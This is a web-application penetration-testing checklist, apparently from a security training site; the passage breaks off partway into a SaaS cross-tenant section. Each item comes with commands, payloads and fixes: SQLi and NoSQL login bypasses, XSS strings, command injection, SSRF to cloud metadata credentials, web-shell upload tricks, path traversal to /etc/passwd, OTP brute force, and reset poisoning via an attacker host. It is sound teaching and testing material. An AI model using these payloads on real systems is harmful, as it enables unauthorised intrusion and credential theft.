Web Application Pentest Checklist

The complete web checklist turned into a how-to-test field guide: for every item — recon, authentication, sessions, access control, injection, business logic, file handling, APIs, client-side, infra, crypto and info-disclosure, plus SaaS / banking / e-commerce / healthcare / admin specifics — the scenario, the real command (ffuf, sqlmap, nuclei, jwt_tool, Burp), the step-by-step, the exact finding to report, and the fix.

LazyHackers.in — Checklist

✅ Web Application Pentest Checklist

Every item, turned into how-to-test: scenario · command · steps · the finding · the fix

☰   How to use this guide

This is the companion to the raw web checklist — instead of a list of boxes to tick, every item here comes with how you actually test it: the scenario that makes it a bug, the exact command or proxy move, the step-by-step, the finding title to drop straight into your report, and the fix to recommend. Work top to bottom on every engagement; the universal sections (0–11) run on any web target, the category-specific sections at the end (SaaS, banking, e-commerce, healthcare, admin) add focus for that app type.

Every section ends with a coverage table that maps each checklist line to a one-shot test and a report-ready finding name — so nothing is skipped, even the items that don't need a full walkthrough. The expanded blocks above each table are the high-value techniques worth doing by hand.
Authorisation only. Test targets you own, a lab (DVWA, Juice Shop, PortSwigger), or a system you have a signed scope for. Running these against anything else is unauthorised access.

Set up your working set first

# Point everything through Burp so you keep a full request history
export HTTPS_PROXY=http://127.0.0.1:8080
TARGET=https://target.tld

# Common wordlists on Kali (seclists)
WL=/usr/share/seclists
# A clean URL/param corpus you can reuse all engagement long:
gau $TARGET | tee all-urls.txt | qsreplace -a > params.txt

0   Recon & information gathering

Recon decides how much attack surface you even get to see. The goal is to find every host, path, parameter and leaked secret before you start poking the main app — forgotten subdomains and exposed files are where the easy criticals live.

Subdomain enumeration & takeover

Forgotten dev/staging subdomains run old, unpatched code; a subdomain whose DNS still points at a de-provisioned cloud resource can be claimed by you (takeover).

  1. Enumerate passively + actively, then resolve and probe what is live.
  2. Feed the live set into a takeover scanner that checks for dangling CNAMEs (S3, Azure, GitHub Pages, Heroku fingerprints).
  3. For any “NoSuchBucket” / “There isn't a GitHub Pages site here” fingerprint, register/claim the backing resource to prove takeover.
subfinder -d target.tld -all -silent | tee subs.txt
amass enum -passive -d target.tld | anew subs.txt
cat subs.txt | httpx -silent -title -tech-detect -status-code -o live.txt

# Dangling-DNS / subdomain takeover
subzy run --targets subs.txt
nuclei -l subs.txt -t http/takeovers/ -severity high,critical
⚑ Report as: “Subdomain takeover on dev.target.tld (dangling CNAME to unclaimed S3 bucket)”
🛡 Fix: Remove DNS records the moment the backing resource is decommissioned; audit CNAMEs for dangling targets; use a DNS monitor that flags records pointing to unclaimed cloud assets.

Archived endpoints, JS secrets & exposed files

Old paths and parameters live forever in the Wayback Machine; front-end JS bundles routinely ship hardcoded API keys and internal endpoints; and VCS/backup files dropped in the web root hand over source and credentials.

# Archived URLs + parameters (great seed for the rest of the test)
gau target.tld | anew all-urls.txt
katana -u https://target.tld -jc -kf all -silent | anew all-urls.txt

# Secrets & endpoints inside JavaScript bundles
cat all-urls.txt | grep '\.js$' | nuclei -t http/exposures/ -silent
# (or) trufflehog filesystem ./js-dump  /  gitleaks detect for cloned repos

# Exposed VCS / config / backup files
nuclei -u https://target.tld -t http/exposures/configs/ -t http/exposures/backups/
ffuf -u https://target.tld/FUZZ -w "$WL/Discovery/Web-Content/raft-medium-files.txt" \
     -e .bak,.old,.zip,.tar.gz,.swp,~ -mc 200 -c
# If /.git/ is browsable → reconstruct the source:
git-dumper https://target.tld/.git/ ./loot-git
⚑ Report as: “Exposed .git directory allows full source-code reconstruction”
🛡 Fix: Block dotfiles and archive extensions at the web server; never deploy from a working VCS checkout; move secrets out of client-side JS into server-side config; set source maps to internal-only.

Tech fingerprint, WAF origin & debug exposure

whatweb https://target.tld ; nuclei -u https://target.tld -t http/technologies/
# Find the real origin behind a WAF/CDN (bypass the WAF entirely)
#  - historical DNS / Shodan: ssl.cert.subject.cn:"target.tld" 200 page hash
#  - try connecting to the discovered origin IP with the right Host header:
curl -sk -H "Host: target.tld" https://ORIGIN_IP/ -o /dev/null -w "%{http_code}\n"

Recon — full coverage

Checklist itemHow to testReport as
Subdomain enumeration (dev/staging exposed)subfinder/amass + httpx (above)Exposed staging environment
Stale DNS → subdomain takeoversubzy / nuclei takeoversSubdomain takeover
Wayback / archived endpointsgau, waybackurls, katanaSensitive endpoint disclosure via archives
JS file analysis (keys/secrets/endpoints)nuclei exposures, LinkFinder, trufflehogHardcoded secret in client-side JavaScript
Source map (.map) exposedcurl /main.js.map → 200Source map exposed in production
.git / .svn / .env / .DS_Storenuclei exposures/configs, git-dumperVersion-control / config file exposure
Backup files (.bak/.old/.zip/~/.swp)ffuf -e .bak,.old,.zip,~Backup file exposure
robots.txt / sitemap.xml sensitive pathscurl /robots.txt /sitemap.xmlSensitive path disclosure via robots/sitemap
Tech/version banner disclosurewhatweb, nuclei technologiesSoftware version disclosure
Public repo / paste leaking credsGitHub dorks, trufflehog org scanCredential leak in public code
WAF/CDN origin IP exposedShodan/Censys + Host-header curlWAF bypass via exposed origin IP
Debug / verbose mode in productiontrigger error, check ?debug=1, stack tracesDebug mode enabled in production
Internal hostnames / IPs in responsesgrep responses/comments for RFC1918/.internalInternal network information disclosure

1   Authentication

The login, registration, OTP and password-reset flows are the front door. The wins here are username enumeration (recon for the next attack), missing rate limits, and broken reset/OTP/2FA logic. The full mechanics live in the Authentication Bypass deep-dive — here is how to test each item.

Username enumeration (the four oracles)

  1. Submit a known-bad username + bad password, then a likely-valid username + bad password.
  2. Diff the response: message text (“user not found” vs “wrong password”), HTTP status, body length, and response time (valid users hit the slow bcrypt path).
  3. Repeat on register (“already exists”) and forgot-password (“email sent” vs “no such user”).
  4. Confirm at scale with ffuf, sorting by the field that differs.
# Message/length oracle on login
ffuf -w "$WL/Usernames/top-usernames-shortlist.txt" -u https://target.tld/login \
     -X POST -d 'username=FUZZ&password=Wrong123!' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -mr 'incorrect password' -c          # match the "valid user" message

# Timing oracle: look for a consistent latency gap on valid users
ffuf ... -o timing.json -of json   # then compare "duration" per request
⚑ Report as: “Username enumeration via login error message / response timing”
🛡 Fix: Return one generic message (“invalid username or password”) and an identical status/redirect for all failures; keep response timing constant (run the hash even for unknown users); make forgot-password always say “if the account exists, an email was sent”.

Rate-limit, OTP & reset-token testing

  1. Capture the login/OTP/reset request in Burp and replay it 50–100× with Intruder/Turbo Intruder — if none are blocked, there is no rate limit.
  2. For OTP: brute the full code space against the pending session; check the code is invalidated after use and that user A's code is rejected for user B.
  3. For reset: request two tokens and diff them (sequential/timestamped = predictable); reuse a token after use; try it days later (expiry); change the Host header (poisoning).
# OTP brute (6-digit) against a half-auth session
seq -w 0 999999 > otps.txt
ffuf -u https://target.tld/2fa -X POST -d 'otp=FUZZ' \
     -H 'Cookie: session=<half-auth>' -w otps.txt -fr 'Invalid code' -c

# Reset poisoning — make the email link point at you
printf 'POST /forgot-password HTTP/1.1\r\nHost: evil.attacker.tld\r\n...\r\n\r\[email protected]'
# (send via Repeater; also try X-Forwarded-Host: evil.attacker.tld)
⚑ Report as: “OTP brute force — no attempt lockout / Password-reset poisoning via Host header”
🛡 Fix: Rate-limit and lock per identity (not a spoofable IP); single-use, short-lived (≤60s) OTPs bound to the pending session and user; CSPRNG reset tokens, single-use, short expiry, bound server-side to the requesting account; build reset links from a configured base URL, never the Host header.

Auth-bypass quick wins

# SQLi login bypass — username field
admin'--          ' OR '1'='1'-- -          ' OR 1=1 LIMIT 1-- -
sqlmap -r login.req -p username --batch --level 3 --risk 2

# 2FA skip: log in (factor 1), then request a post-login page directly
GET /account  Cookie: session=<half-auth>      # renders? → 2FA not enforced server-side

# Response/status tampering (client-side auth): intercept the response in Burp
{"success":false} → {"success":true} ;  401 → 200 OK
⚑ Report as: “Authentication bypass via SQL injection in login / 2FA bypass via direct navigation”

Authentication — full coverage

Checklist itemHow to testReport as
Username enum via login error / timing / forgot-pw / registerdiff message, status, length, time (above)Username enumeration
No rate limit on loginreplay 100× in IntruderNo rate limiting on authentication
No rate limit / captcha on OTP requestspam the send-OTP endpointNo throttling on OTP generation
OTP brute force (no lockout)ffuf 000000–999999OTP brute force — no lockout
OTP reusable after usesubmit same OTP twiceOTP not invalidated after use
Cross-user OTP accepteduser A's OTP on user BOTP not bound to user
Static / predictable OTPobserve 0000/1234 patternsPredictable OTP
OTP leaked in API responseinspect send-OTP JSON bodyOTP disclosed in response body
Weak password policyregister with “123456”Weak password policy
Reset token predictable / non-expiringdiff two tokens; reuse old tokenPredictable / non-expiring reset token
Reset token reusable after usereset twice with one tokenReset token not invalidated
Reset poisoning via Host headertamper Host / X-Forwarded-HostPassword-reset poisoning
Reset link leaked via Referercheck 3rd-party requests on reset pageReset token leak via Referer
ATO via response manipulationflip success:false→true in BurpAccount takeover via response tampering
2FA bypass via direct navigationrequest post-auth page with half-auth cookie2FA bypass — not enforced server-side
2FA bypass via status-code tamperingedit 401/403→200 in response2FA bypass via response tampering
2FA backup code not rate limitedbrute recovery codesBackup-code brute force
2FA not enforced on API/mobile endpointcall API directly post-factor-12FA not enforced on API
Default / weak credentialsadmin:admin, vendor defaultsDefault credentials
Login allows null/empty passwordsend password= (empty) / password[]Authentication bypass via empty password
SQLi in login (auth bypass)admin'-- , sqlmapSQL injection authentication bypass
SSO/OAuth misconfig bypasssee SaaS sectionOAuth/SSO authentication bypass
No re-auth for sensitive actionschange email/password without current pwMissing re-authentication
Email change without old-email confirmchange email, no confirmation to oldEmail change without verification
Self-registration where invite-only intendedPOST /register directlyOpen registration on restricted app

2   Session management

Once authenticated, the session token is the user. Test how it is issued, stored, transported and destroyed. Deep mechanics: the Session Attacks catalogue.

Lifecycle & cookie flags

  1. Record the session cookie pre-login, then post-login — if it does not change, the app is vulnerable to session fixation.
  2. Log out, then replay an old request with the pre-logout cookie — if it still works, logout is client-side only.
  3. Change the password in one browser, replay an old session in another — it should be killed.
  4. Inspect Set-Cookie for HttpOnly, Secure, SameSite; check whether the token sits in localStorage (XSS-exfiltratable).
# Inspect cookie attributes quickly
curl -sI https://target.tld/login -c - | grep -i set-cookie
# Look for: HttpOnly; Secure; SameSite=Lax/Strict  (missing any = finding)

# JWT session checks
jwt_tool <JWT> -T                 # tamper claims
jwt_tool <JWT> -X a               # alg:none
jwt_tool <JWT> -C -d rockyou.txt  # crack weak HS256 secret
⚑ Report as: “Session fixation — token not rotated on login / Session not invalidated on logout”
🛡 Fix: Rotate the session ID on every privilege change (login, role change); destroy server-side state on logout and password change; set HttpOnly + Secure + SameSite on session cookies; keep session tokens out of localStorage; use high-entropy CSPRNG identifiers.

Session management — full coverage

Checklist itemHow to testReport as
No rotation after login (fixation)diff cookie pre/post loginSession fixation
Not invalidated on logoutreplay old cookie after logoutServer-side logout missing
Not invalidated on password changereplay old session after pw changeSession persists after password change
Concurrent sessions uncontrolledlog in twice, both liveNo concurrent-session control
Excessive / no session timeoutidle, then replay hours laterExcessive session lifetime
Cookie missing HttpOnlyinspect Set-CookieCookie missing HttpOnly flag
Cookie missing Secureinspect Set-CookieCookie missing Secure flag
Cookie weak/missing SameSiteinspect Set-CookieCookie missing SameSite attribute
Token in localStorage (XSS-exfil)check JS storage in DevToolsSession token stored in localStorage
Predictable / low-entropy tokencollect tokens, analyse entropy (Burp Sequencer)Low-entropy session token
JWT alg:none acceptedjwt_tool -X aJWT alg:none accepted
JWT weak HMAC secretjwt_tool -C -d rockyou.txtCrackable JWT signing secret
JWT kid injection / RS256→HS256jwt_tool -X k / -X iJWT algorithm confusion
JWT signature not verifiededit payload, drop sigJWT signature not verified
JWT expired token acceptedreplay token past expJWT expiry not enforced
Sensitive data in JWT payloadbase64-decode payloadSensitive data in JWT
Remember-me token long-lived / non-revocableinspect & reuse after logoutPersistent remember-me token

3   Authorization / access control

Access control is the single most common source of high/critical findings. The method: act as a low-privileged user (or no user) and try to reach another user's data or an admin function. Companion: Authorization Bypass.

IDOR / BOLA — the two-account method

  1. Create two accounts, A and B. Log in as A and capture a request that references an object you own (/api/orders/1001, ?id=1001).
  2. Swap the identifier to B's object (or just decrement/increment it) while keeping A's session.
  3. If you get B's data back → horizontal IDOR/BOLA. Repeat for update and delete, not just read.
  4. Automate the sweep with Burp's Autorize/AuthMatrix or a scripted range.
# Range-sweep an object ID with A's cookie, flag responses that aren't 403/404
ffuf -u 'https://target.tld/api/orders/FUZZ' -H 'Cookie: session=<userA>' \
     -w <(seq 1000 1100) -mc 200 -ac -c

# Burp Autorize: log in as low-priv, replay every high-priv request, diff responses
⚑ Report as: “IDOR — horizontal access to another user's object (orders/1001)”
🛡 Fix: Enforce object-level authorisation on the server for every request: check the object belongs to the session user, do not trust client-supplied IDs; prefer unguessable identifiers as defence-in-depth (not the only control); add the same check to read, update and delete paths.

Privilege escalation & mass assignment

# Mass assignment — inject privileged fields the UI never sends
POST /api/users  {"name":"x","email":"[email protected]","role":"admin","isAdmin":true}

# Vertical escalation — replay an admin-only request with a normal user's token
GET /admin/users  Cookie: session=<normalUser>        # 200? → broken function-level authz

# Parameter-based role trusted by server
GET /dashboard?admin=true          POST /api/me {"role":"admin"}
⚑ Report as: “Mass assignment allows privilege escalation to admin via role parameter”

Authorization — full coverage

Checklist itemHow to testReport as
IDOR read another user objecttwo-account swap (above)IDOR — unauthorised read
IDOR update/delete another objectswap ID on PUT/DELETEIDOR — unauthorised modification
IDOR in file/document downloadswap ?file= / ?id=IDOR in file download
IDOR in API path/query paramswap path/query identifiersBOLA on API object
Mass assignment (role/isAdmin)add extra fields to JSON bodyMass assignment privilege escalation
Horizontal privilege escalationact on another user's resourcesHorizontal privilege escalation
Vertical privilege escalationreplay admin request as userVertical privilege escalation
Forced browsing to admin endpointsffuf admin paths unauthenticatedForced browsing to privileged endpoint
Function-level access control missing on APIcall admin API as userBroken function-level authorisation (BFLA)
Access control only on UI not backendcall endpoint directly (curl)Access control enforced client-side only
HTTP method bypass (GET vs POST/PUT)change verb on guarded routeHTTP verb-based access-control bypass
Parameter-based role (?admin=true) trustedinject role paramClient-controlled role parameter
Deleted/suspended user keeps accessuse token after account disabledRevoked account retains access
Privilege retained after downgradedowngrade role, reuse old sessionStale privileges after role change

4   Input validation & injection

Every place user input reaches an interpreter (SQL, HTML/JS, the OS shell, a template engine, an XML/LDAP/XPath parser, the HTTP layer) is an injection candidate. Fuzz systematically: collect parameters, then test each input class with a known payload set and watch for reflection, errors, or out-of-band callbacks.

XSS (reflected / stored / DOM)

  1. Find reflections: send a unique marker in every parameter and grep responses for it.
  2. Where it reflects, test context-appropriate payloads (HTML body, attribute, JS string, URL).
  3. Automate discovery + confirmation with kxss (finds unfiltered chars) then dalfox.
  4. For DOM XSS, trace sources (location.hash, postMessage) to sinks (innerHTML, eval) in DevTools.
cat all-urls.txt | grep '=' | qsreplace '"><svg onload=confirm(1)>' \
  | while read u; do curl -sk "$u" | grep -q 'svg onload=confirm(1)' && echo "REFLECTED: $u"; done

cat params.txt | kxss                      # which params reflect which chars unfiltered
dalfox file params.txt --silence           # automated XSS confirmation
⚑ Report as: “Reflected XSS in <param> / Stored XSS in <field>”
🛡 Fix: Context-aware output encoding (HTML, attribute, JS, URL); a strict Content-Security-Policy as defence-in-depth; framework auto-escaping left on; sanitise rich text with a vetted allowlist library; set HttpOnly on session cookies so XSS can't steal them.

SQL / NoSQL injection

# Quick manual probes (watch for errors / boolean / time differences)
'  "  ')  ' OR '1'='1   1) AND SLEEP(5)-- -
# Full automation:
sqlmap -r request.req -p id --batch --level 3 --risk 2 --dbs
# NoSQL (MongoDB-style) — operator injection in JSON/login
{"username":{"$ne":null},"password":{"$ne":null}}        # auth bypass
username[$ne]=x&password[$ne]=x                            # form-encoded variant
⚑ Report as: “SQL injection (error/boolean/time/UNION) in <param>”

Command injection & SSTI

# OS command injection — chain separators + an OOB/time signal
; id    | id    `id`    $(id)    & ping -c1 OOB.oast.fun
commix -u 'https://target.tld/ping?host=127.0.0.1' --batch

# SSTI — send the polyglot, look for evaluated math
${7*7}  {{7*7}}  <%= 7*7 %>  #{7*7}      # 49 in output → template injection
# then identify the engine and escalate to RCE (Jinja2/Twig/Freemarker gadgets)
⚑ Report as: “OS command injection in <param> / Server-side template injection (RCE)”

SSRF

  1. Find any parameter that fetches a URL (webhooks, image-from-URL, PDF render, import).
  2. Point it at a Burp Collaborator / interactsh host — an inbound hit confirms SSRF.
  3. Escalate to cloud metadata (169.254.169.254) and internal services; for blind SSRF rely on the OOB callback.
interactsh-client            # get an OOB domain, then:
POST /import {"url":"http://<oob>.oast.fun/"}            # callback = SSRF
# Escalate:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://127.0.0.1:6379/    (internal Redis, etc.)
⚑ Report as: “SSRF — internal/metadata access via <param>”
🛡 Fix: Validate and allowlist outbound URLs (scheme + host); block link-local/loopback/RFC1918 ranges and metadata IPs; resolve and pin the host to prevent DNS rebinding; require IMDSv2 on AWS; isolate the fetcher with egress firewalling.

Injection & input validation — full coverage

Checklist itemHow to testReport as
Reflected / Stored / DOM XSSkxss + dalfox; DOM trace (above)Cross-site scripting
XSS via SVG / file uploadupload SVG with onloadStored XSS via SVG upload
XSS in error/404 pageinject into path/param shown on errorXSS in error page
XSS via referer/UA/header reflectioninject in headers, grep reflectionHeader-based XSS
Blind XSS in admin/support panelXSS Hunter / blind payloads in support fieldsBlind XSS in admin panel
SQLi error/boolean/time/UNIONsqlmap (above)SQL injection
NoSQL injection$ne / operator injectionNoSQL injection
OS command injectioncommix; ;|`$() separatorsOS command injection
SSTI${7*7}/{{7*7}} polyglotServer-side template injection
LDAP injection*)(uid=* in auth/searchLDAP injection
XPath injection' or '1'='1 in XML query paramsXPath injection
Host header injectiontamper Host, observe reflection/linksHost header injection
CRLF / response splitting%0d%0a injected headerCRLF injection
HTTP request smugglingsmuggler.py; CL.TE / TE.CL probesHTTP request smuggling
Open redirect?next=//evil.tld payloadsOpen redirect
SSRF internal / metadataOOB callback (above)Server-side request forgery
Blind / OOB SSRFinteractsh callbackBlind SSRF
XXEexternal entity in XML upload/bodyXML external entity injection
XML/JSON parameter pollutionduplicate/array paramsParameter pollution
Email header injection (contact forms)%0aBcc: in name/subjectEmail header injection
CSV / formula injection in exports=cmd()|... in a field, export, openCSV formula injection
Cache poisoning via unkeyed inputParam Miner; unkeyed header reflectedWeb cache poisoning
Web cache deceptionappend /nonexistent.css to authed pageWeb cache deception

5   Business logic

Logic flaws are app-specific and scanners miss them — they need you to understand the intended workflow and then break its assumptions: order of steps, value ranges, replay, and concurrency. This is where the highest-impact, hardest-to-find bugs live.

Race conditions (TOCTOU)

  1. Find a one-time or limited action (redeem coupon, withdraw, vote, claim).
  2. Capture the request and fire many copies simultaneously (single-packet attack) before the state updates.
  3. Check whether the action applied more than once (double spend, multi-redeem).
# Burp Repeater → add request to a group → "Send group in parallel" (single-packet)
# or Turbo Intruder race template:
#   engine = RequestEngine(endpoint, concurrentConnections=30, pipeline=False)
#   for i in range(30): engine.queue(template)   # all fire together
⚑ Report as: “Race condition allows multiple redemptions of a single-use action”
🛡 Fix: Enforce atomicity server-side: idempotency keys for sensitive actions, DB-level unique constraints / row locks / atomic decrements, and a state machine that rejects out-of-order transitions.

Business logic — full coverage

Checklist itemHow to testReport as
Race condition on critical action (TOCTOU)parallel single-packet (above)Race condition
Workflow step skippingjump straight to /confirmWorkflow bypass / step skipping
Replay of one-time requestresend captured requestRequest replay
Negative quantity/value acceptedqty=-1, amount=-100Negative-value logic flaw
Integer overflow / extreme valueqty=99999999999Integer overflow not handled
Hidden/disabled field tamperingedit hidden inputs in BurpParameter tampering
Client-side validation onlybypass JS, send raw requestServer-side validation missing
No resource-creation limit (abuse)mass-create objectsMissing anti-automation control
Action on object in wrong statecancel after dispatch, etc.Invalid state transition allowed
Time/date manipulationtamper date params to bypass limitsTime-based logic bypass
Coupon/referral abuse (logic)self-refer, stack, reuseReferral / coupon logic abuse

6   File handling

Uploads and downloads bridge user input and the filesystem. Test what you can upload (and whether it executes), and whether download/extraction paths can be traversed.

Malicious upload → RCE

  1. Upload a benign file, note where it lands (URL/path) and whether it is web-accessible.
  2. Try a server-side script (e.g. shell.php); if blocked, test extension/content-type bypasses.
  3. If the file lands in the web root and executes → web shell / RCE.
# Extension / content-type / magic-byte bypasses to try:
shell.php  shell.php.jpg  shell.pHp  shell.php%00.jpg  shell.phtml
# + force Content-Type: image/png and prepend GIF89a; magic bytes
# Then browse to the stored path to trigger:
curl 'https://target.tld/uploads/shell.php?cmd=id'
⚑ Report as: “Unrestricted file upload leads to remote code execution”
🛡 Fix: Validate type by content not extension; store uploads outside the web root or on a separate non-executing domain; generate random filenames; disable script execution in the upload directory; scan and size-limit; for archives, canonicalise extraction paths (prevent zip-slip).

Path traversal

# Download / read traversal
?file=../../../../etc/passwd        ?file=..%2f..%2f..%2fetc%2fpasswd
GET /download?path=....//....//etc/passwd
ffuf -u 'https://target.tld/download?file=FUZZ' -w "$WL/Fuzzing/LFI/LFI-Jhaddix.txt" -mr 'root:'
⚑ Report as: “Path traversal in file download (arbitrary file read)”

File handling — full coverage

Checklist itemHow to testReport as
Unrestricted upload → web shell/RCEupload script, browse to itUnrestricted file upload (RCE)
Content-type/extension bypassdouble ext, null byte, magic bytesUpload filter bypass
Uploaded file executable in web rootrequest the stored fileExecutable upload in web root
Path traversal in filename (write)../ in filename fieldPath traversal on upload
Path traversal in download (read)?file=../../etc/passwdPath traversal (file read)
No file size limit (DoS)upload a huge fileMissing upload size limit
Image parser SSRF/XXE (ImageMagick)malicious SVG/MVG/PSImage-parser SSRF/XXE
Malicious file not scannedupload EICAR / known-badNo malware scanning on upload
IDOR on uploaded file accessswap file ID/pathIDOR on uploaded files
Filename reflected → stored XSSupload <svg onload>.pngStored XSS via filename
Zip slip / extraction traversalarchive with ../ entriesZip-slip path traversal

7   API / web services

APIs concentrate the OWASP API Top 10: object- and function-level authz (BOLA/BFLA), excessive data exposure, and missing limits. Test the API directly, not through the UI — the UI's restrictions usually aren't on the backend. Companion: API Security.

Excessive data exposure & BOLA/BFLA

  1. Compare what the UI shows vs the full JSON the API returns — APIs often leak extra fields (PII, internal flags, other users' data).
  2. Replay object requests with another user's ID (BOLA) and admin endpoints as a normal user (BFLA).
  3. Probe GraphQL: enable introspection, then look for unguarded queries and rate-limit bypass via batching.
# GraphQL introspection + map the schema
curl -s https://target.tld/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name fields{name}}}}"}' | jq .
# CORS misconfig — reflected origin with credentials
curl -s -I https://target.tld/api/me -H 'Origin: https://evil.tld' | grep -i access-control
⚑ Report as: “Excessive data exposure — API returns more fields than the UI / BOLA on API object”
🛡 Fix: Authorise every object and function server-side; return only the fields the client needs (explicit DTOs, not the whole model); rate-limit per identity; disable GraphQL introspection in prod and cap query depth/complexity; reflect CORS only for an exact allowlist, never wildcard-with-credentials.

API / web services — full coverage

Checklist itemHow to testReport as
Excessive data exposurediff API JSON vs UIExcessive data exposure
BOLA / IDOR on API objectsswap object IDsBOLA
BFLA (function-level authz)call admin API as userBFLA
No rate limiting on APIflood an endpointNo API rate limiting
API key in URL / client-side / leakedinspect URLs, JS, historyAPI key exposure
GraphQL introspection in prodintrospection query (above)GraphQL introspection enabled
GraphQL nested-query DoSdeeply nested queryGraphQL query-depth DoS
GraphQL batching bypasses rate limitarray of queries in one requestGraphQL batching abuse
Mass assignment via JSON bodyinject extra fieldsMass assignment
Verb tampering / unsupported methodPUT/PATCH/DELETE probingHTTP verb tampering
Old/deprecated API version livetry /v1 /v0 /api/oldDeprecated vulnerable API version
CORS misconfig (wildcard/reflected + creds)Origin reflection testCORS misconfiguration
Improper input validation on API paramstype/format fuzzingImproper input validation
Webhook accepts spoofed/unsigned payloadPOST forged event, no signatureUnsigned webhook accepted

8   Client-side

Bugs that execute in the victim's browser: CSRF, clickjacking, tabnabbing, postMessage and prototype-pollution issues, plus supply-chain and caching weaknesses.

CSRF & clickjacking

# CSRF — does a state-changing request work without a token / cross-site?
# Build a test form that auto-submits to the target action; if it succeeds → CSRF.
# Also try: remove the CSRF token, reuse another user's token, swap GET/POST.

# Clickjacking — is framing allowed?
curl -sI https://target.tld/ | grep -iE 'x-frame-options|content-security-policy'
# (missing X-Frame-Options AND no frame-ancestors → frameable)
⚑ Report as: “CSRF on state-changing request / Clickjacking — missing frame protections”
🛡 Fix: Anti-CSRF tokens (or SameSite=Lax/Strict cookies) on all state-changing requests; set X-Frame-Options: DENY or CSP frame-ancestors 'none'; add rel=noopener on target=_blank links; validate postMessage origin; add Subresource Integrity to third-party scripts.

Client-side — full coverage

Checklist itemHow to testReport as
CSRF on state-changing requestauto-submit cross-site formCross-site request forgery
CSRF token missing/static/not validatedremove/replace tokenCSRF protection bypass
Clickjacking (no XFO/CSP)frame the page (above)Clickjacking
Tabnabbing (target=_blank, no noopener)inspect outbound linksReverse tabnabbing
postMessage missing origin validationtrace message listenersInsecure postMessage handler
DOM clobberinginject named elements colliding with globalsDOM clobbering
Prototype pollution (client-side)__proto__ in JSON/queryClient-side prototype pollution
Sensitive data cached by browsercheck Cache-Control on authed pagesSensitive data cached
Autocomplete on sensitive fieldsinspect form autocomplete attrAutocomplete on sensitive field
3rd-party dependency with known CVEretire.js / npm audit on JSVulnerable JS dependency
Missing Subresource Integrity (SRI)check external <script> integrity attrMissing SRI on external script

9   Server / infra misconfiguration

Misconfigurations are fast, high-signal wins: missing headers, exposed consoles, dangerous methods, and known-CVE software. nuclei + a header check covers most of it.

nuclei -u https://target.tld -t http/misconfiguration/ -t http/exposed-panels/ -t http/cves/
# Security headers
curl -sI https://target.tld | grep -iE 'content-security-policy|strict-transport|x-content-type|x-frame'
# Dangerous methods
curl -s -X OPTIONS https://target.tld -i | grep -i allow      # TRACE/PUT/DELETE?
nmap --script http-methods -p 443 target.tld
⚑ Report as: “Security misconfiguration — <exposed console / missing headers / dangerous method>”
🛡 Fix: Set the full security-header suite (CSP, HSTS, X-Content-Type-Options, X-Frame-Options); disable directory listing, sample files and unused HTTP methods; keep server/framework patched; lock management consoles and actuator/metrics behind auth + network controls; lock down cloud storage ACLs.

Server / infra misconfiguration — full coverage

Checklist itemHow to testReport as
Missing security headerscurl -I header checkMissing security headers
Directory listing enabledbrowse a directory pathDirectory listing enabled
Default / sample files reachablenuclei exposed defaultsDefault files exposed
Admin/management console exposednuclei exposed-panelsManagement interface exposed
Dangerous HTTP methods (TRACE/PUT/DELETE)OPTIONS / nmap http-methodsDangerous HTTP methods enabled
Verbose stack trace / error disclosuretrigger 500, read traceVerbose error disclosure
Outdated server/framework (CVE)nuclei -t http/cvesOutdated software with known CVE
Misconfigured cloud bucket (public r/w)enumerate & test bucket ACLPublic cloud storage bucket
Actuator/metrics/server-status exposednuclei; /actuator /server-statusMonitoring endpoint exposed
DoS via unbounded request / ReDoSlarge body / catastrophic regex inputDenial of service (ReDoS/unbounded)
HTTP/2 / smuggling desync at proxysmuggler.py; h2 desync probesHTTP request smuggling (desync)

10   Cryptography & transport

Confirm data is encrypted in transit with modern TLS, that secrets aren't weakly hashed or hardcoded, and that tokens use real randomness.

testssl.sh https://target.tld          # TLS version, ciphers, cert, HSTS in one shot
# or:
nmap --script ssl-enum-ciphers -p 443 target.tld
sslscan target.tld
# Check HTTP→HTTPS redirect + HSTS
curl -sI http://target.tld | grep -i location
curl -sI https://target.tld | grep -i strict-transport-security
⚑ Report as: “Weak TLS configuration / Sensitive data transmitted over HTTP”
🛡 Fix: TLS 1.2+ only with strong ciphers and a valid cert; redirect all HTTP to HTTPS and set HSTS (preload); hash passwords with bcrypt/argon2 (never MD5/SHA1); keep keys/secrets in a vault, never in code; use a CSPRNG for all security tokens; never put sensitive data in URLs.

Cryptography & transport — full coverage

Checklist itemHow to testReport as
Sensitive data over HTTP (no TLS)capture plaintext requestCleartext transmission
No HTTP→HTTPS redirect / no HSTScurl redirect + HSTS checkMissing HSTS / forced HTTPS
Weak TLS version or cipherstestssl.sh / sslscanWeak TLS configuration
Expired/self-signed/mismatched certtestssl.sh cert sectionInvalid TLS certificate
Sensitive data in URLgrep history/logs for tokens in URLsSensitive data in URL
Weak/reversible password hashingreview (if source) / leaked hash formatWeak password hashing
Hardcoded crypto keys / secretsgrep JS/source, trufflehogHardcoded secret
Predictable token randomness (non-CSPRNG)Burp Sequencer entropyInsufficient token entropy
PII / card data stored in plaintextreview storage / responsesSensitive data stored in plaintext

11   Information disclosure

Pull together everything the app leaks — over-shared PII in APIs, internal paths/IPs, source comments, and metadata in uploaded files. Individually minor, collectively a roadmap for an attacker.

# Metadata in uploaded/served files
exiftool downloaded-image.jpg          # GPS, software, internal author/paths
# Grep responses for internal leaks
grep -niE '10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|\.internal|DEBUG|stacktrace' responses/*
⚑ Report as: “Information disclosure — <PII in API / internal path / metadata>”
🛡 Fix: Return only necessary fields; strip metadata from uploads on ingest; suppress internal paths/IPs and stack traces in responses; remove revealing comments and version banners before production.

Information disclosure — full coverage

Checklist itemHow to testReport as
PII exposed unnecessarily in APIinspect API JSONExcessive PII in API response
Internal IP / path / hostname leakedgrep responses (above)Internal information disclosure
Source/comments leaking logic or credsview-source, JS reviewSensitive comment disclosure
User enumeration via response diffsconsolidate from §1Username enumeration
Email/phone leaked in profile/APIinspect profile endpointsContact-info disclosure
Version info aiding exploit selectionbanners, headers, error pagesSoftware version disclosure
Metadata in uploads (EXIF/doc props)exiftool on served filesMetadata disclosure
Category-specific checks

A   SaaS / multi-tenant apps

On top of the universal checks, multi-tenant apps must keep tenants completely isolated and get RBAC, SSO/OAuth and billing exactly right. The killer bug class is cross-tenant access.

Cross-tenant isolation

  1. Create two tenants (Org A, Org B), each with their own user.
  2. As Org A, capture every request carrying a tenant/org/object identifier.
